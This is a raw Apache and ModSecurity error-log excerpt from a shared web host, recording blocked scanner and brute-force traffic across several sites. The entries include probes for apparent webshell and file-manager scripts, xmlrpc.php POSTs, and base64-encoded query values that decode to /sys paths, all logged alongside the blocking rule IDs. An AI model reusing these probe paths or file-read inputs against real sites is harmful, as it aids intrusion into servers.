"ai3xVsTA7b1mZrmcA-8gMgAAAo8"] [Sat Jun 13 18:09:58.884366 2026] [security2:error] [pid 531155:tid 531261] [remote 17.241.227.224:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xVimiP80klyS0Nnr1FQABfWk"] [Sat Jun 13 18:09:58.966708 2026] [security2:error] [pid 531797:tid 531885] [remote 17.241.75.154:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 154.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xVsTA7b1mZrmcA-8gOAACTBU"] [Sat Jun 13 18:09:59.180064 2026] [security2:error] [pid 531797:tid 531986] [remote 17.246.19.205:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 205.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xV8TA7b1mZrmcA-8gRAACZHk"] [Sat Jun 13 18:09:59.194033 2026] [security2:error] [pid 531797:tid 531998] [client 20.151.217.54:40196] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/wp-scanner.php"] [unique_id "ai3xV8TA7b1mZrmcA-8gRQAAAhY"] [Sat Jun 13 18:09:59.214806 2026] [access_compat:error] [pid 531797:tid 531988] [remote 57.141.14.99:33564] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:59.215095 2026] [access_compat:error] [pid 531797:tid 531988] [remote 57.141.14.99:33564] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:59.297587 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:09:59.297872 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:09:59.434313 2026] [access_compat:error] [pid 531797:tid 531910] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGU= [Sat Jun 13 18:09:59.434703 2026] [access_compat:error] [pid 531797:tid 531910] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGU= [Sat Jun 13 18:09:59.443663 2026] [security2:error] [pid 531797:tid 531989] [remote 104.155.29.73:54359] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 73.29.155.104.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "pys.tlq.mybluehost.me"] [uri "/xmlrpc.php"] [unique_id "ai3xV8TA7b1mZrmcA-8gUQACVHw"] [Sat Jun 13 18:09:59.443903 2026] [security2:error] [pid 531797:tid 532062] [client 104.155.29.73:54359] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "pys.tlq.mybluehost.me"] [uri "/xmlrpc.php"] [unique_id "ai3xV8TA7b1mZrmcA-8gUQACVHw"] [Sat Jun 13 18:09:59.592102 2026] [security2:error] [pid 531797:tid 532098] [client 20.151.217.54:23968] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ai3xV8TA7b1mZrmcA-8gVgAAAnc"] [Sat Jun 13 18:09:59.789695 2026] [security2:error] [pid 531155:tid 531183] [remote 17.22.253.110:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 110.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xVymiP80klyS0Nnr1IgABIhs"] [Sat Jun 13 18:09:59.835790 2026] [access_compat:error] [pid 531155:tid 531258] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ2 [Sat Jun 13 18:09:59.836188 2026] [access_compat:error] [pid 531155:tid 531258] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ2 [Sat Jun 13 18:09:59.886049 2026] [security2:error] [pid 531797:tid 532027] [client 20.151.217.54:65186] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/12.php"] [unique_id "ai3xV8TA7b1mZrmcA-8gXwAAAjM"] [Sat Jun 13 18:09:59.980607 2026] [security2:error] [pid 531155:tid 531164] [remote 17.241.75.156:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 156.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xVymiP80klyS0Nnr1KAABfAg"] [Sat Jun 13 18:10:00.147558 2026] [security2:error] [pid 531797:tid 531880] [remote 17.246.19.24:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 24.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xWMTA7b1mZrmcA-8gaQACihA"] [Sat Jun 13 18:10:00.303520 2026] [access_compat:error] [pid 531797:tid 531970] [remote 57.141.14.73:59876] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:00.303958 2026] [access_compat:error] [pid 531797:tid 531970] [remote 57.141.14.73:59876] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:00.380028 2026] [security2:error] [pid 531797:tid 532097] [client 191.234.188.123:47976] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/fs6.php"] [unique_id "ai3xWMTA7b1mZrmcA-8gbwAAAnY"] [Sat Jun 13 18:10:00.391815 2026] [access_compat:error] [pid 531155:tid 531234] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:10:00.392084 2026] [access_compat:error] [pid 531155:tid 531234] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:10:00.406497 2026] [security2:error] [pid 531797:tid 532007] [client 20.151.217.54:48630] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/yoy123.php"] [unique_id "ai3xWMTA7b1mZrmcA-8gcQAAAh8"] [Sat Jun 13 18:10:00.423605 2026] [security2:error] [pid 531797:tid 531948] [remote 17.22.237.148:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 148.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xWMTA7b1mZrmcA-8gcgACeFQ"] [Sat Jun 13 18:10:00.558383 2026] [security2:error] [pid 531797:tid 532089] [client 20.151.217.54:40147] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/crgio.php"] [unique_id "ai3xWMTA7b1mZrmcA-8gegAAAm4"] [Sat Jun 13 18:10:00.593708 2026] [access_compat:error] [pid 531797:tid 531879] [remote 57.141.14.94:61620] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:00.594109 2026] [access_compat:error] [pid 531797:tid 531879] [remote 57.141.14.94:61620] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:00.653505 2026] [access_compat:error] [pid 531797:tid 531968] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGU= [Sat Jun 13 18:10:00.653959 2026] [access_compat:error] [pid 531797:tid 531968] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGU= [Sat Jun 13 18:10:00.723449 2026] [security2:error] [pid 531797:tid 532044] [client 20.151.217.54:23969] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/this_is_a_new_hello_world.php"] [unique_id "ai3xWMTA7b1mZrmcA-8gggAAAkM"] [Sat Jun 13 18:10:00.787315 2026] [security2:error] [pid 531155:tid 531247] [remote 17.246.19.97:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 97.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xWCmiP80klyS0Nnr1NAABX1s"] [Sat Jun 13 18:10:00.900380 2026] [access_compat:error] [pid 531797:tid 531876] [remote 57.141.14.41:20275] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:00.900866 2026] [access_compat:error] [pid 531797:tid 531876] [remote 57.141.14.41:20275] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:00.959686 2026] [access_compat:error] [pid 531155:tid 531208] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9tb3VzZTIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:00.960140 2026] [access_compat:error] [pid 531155:tid 531208] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9tb3VzZTIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:01.015152 2026] [security2:error] [pid 531797:tid 531888] [remote 17.241.75.49:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 49.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xWcTA7b1mZrmcA-8gkwACFhg"] [Sat Jun 13 18:10:01.148999 2026] [security2:error] [pid 531797:tid 532035] [client 20.151.217.54:40135] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/ops.php"] [unique_id "ai3xWcTA7b1mZrmcA-8gmQAAAjo"] [Sat Jun 13 18:10:01.187415 2026] [access_compat:error] [pid 531797:tid 531963] [remote 57.141.14.40:30672] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:01.187861 2026] [access_compat:error] [pid 531797:tid 531963] [remote 57.141.14.40:30672] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:01.376209 2026] [access_compat:error] [pid 531797:tid 531890] [remote 57.141.14.102:28713] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:01.376679 2026] [access_compat:error] [pid 531797:tid 531890] [remote 57.141.14.102:28713] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:01.430606 2026] [access_compat:error] [pid 531155:tid 531253] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9kZXZpY2UvbW91c2UwL2RldmljZQ== [Sat Jun 13 18:10:01.431055 2026] [access_compat:error] [pid 531155:tid 531253] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9kZXZpY2UvbW91c2UwL2RldmljZQ== [Sat Jun 13 18:10:01.494844 2026] [access_compat:error] [pid 531797:tid 531932] [remote 57.141.14.109:41726] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:01.495263 2026] [access_compat:error] [pid 531797:tid 531932] [remote 57.141.14.109:41726] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:01.584216 2026] [security2:error] [pid 531155:tid 531279] [remote 216.73.216.182:42312] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3xWSmiP80klyS0Nnr1SQABT3s"] [Sat Jun 13 18:10:01.700887 2026] [access_compat:error] [pid 531155:tid 531166] [remote 57.141.14.44:28229] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:01.701337 2026] [access_compat:error] [pid 531155:tid 531166] [remote 57.141.14.44:28229] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:01.729629 2026] [security2:error] [pid 531155:tid 531159] [remote 17.22.237.146:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 146.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xWSmiP80klyS0Nnr1TAABFwM"] [Sat Jun 13 18:10:01.760515 2026] [security2:error] [pid 531797:tid 532089] [client 172.171.3.232:52987] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.mlvt-dsc.info"] [uri "/this_is_a_new_hello_world.php"] [unique_id "ai3xWcTA7b1mZrmcA-8gtAAAAm4"] [Sat Jun 13 18:10:01.766793 2026] [security2:error] [pid 531797:tid 531909] [remote 17.246.23.174:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 174.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xWcTA7b1mZrmcA-8gswACJC0"] [Sat Jun 13 18:10:01.804033 2026] [security2:error] [pid 531155:tid 531291] [client 20.151.217.54:65269] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/cakr3xr4.php"] [unique_id "ai3xWSmiP80klyS0Nnr1TQAAARA"] [Sat Jun 13 18:10:01.881797 2026] [access_compat:error] [pid 531797:tid 531889] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGU= [Sat Jun 13 18:10:01.882257 2026] [access_compat:error] [pid 531797:tid 531889] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGU= [Sat Jun 13 18:10:01.944305 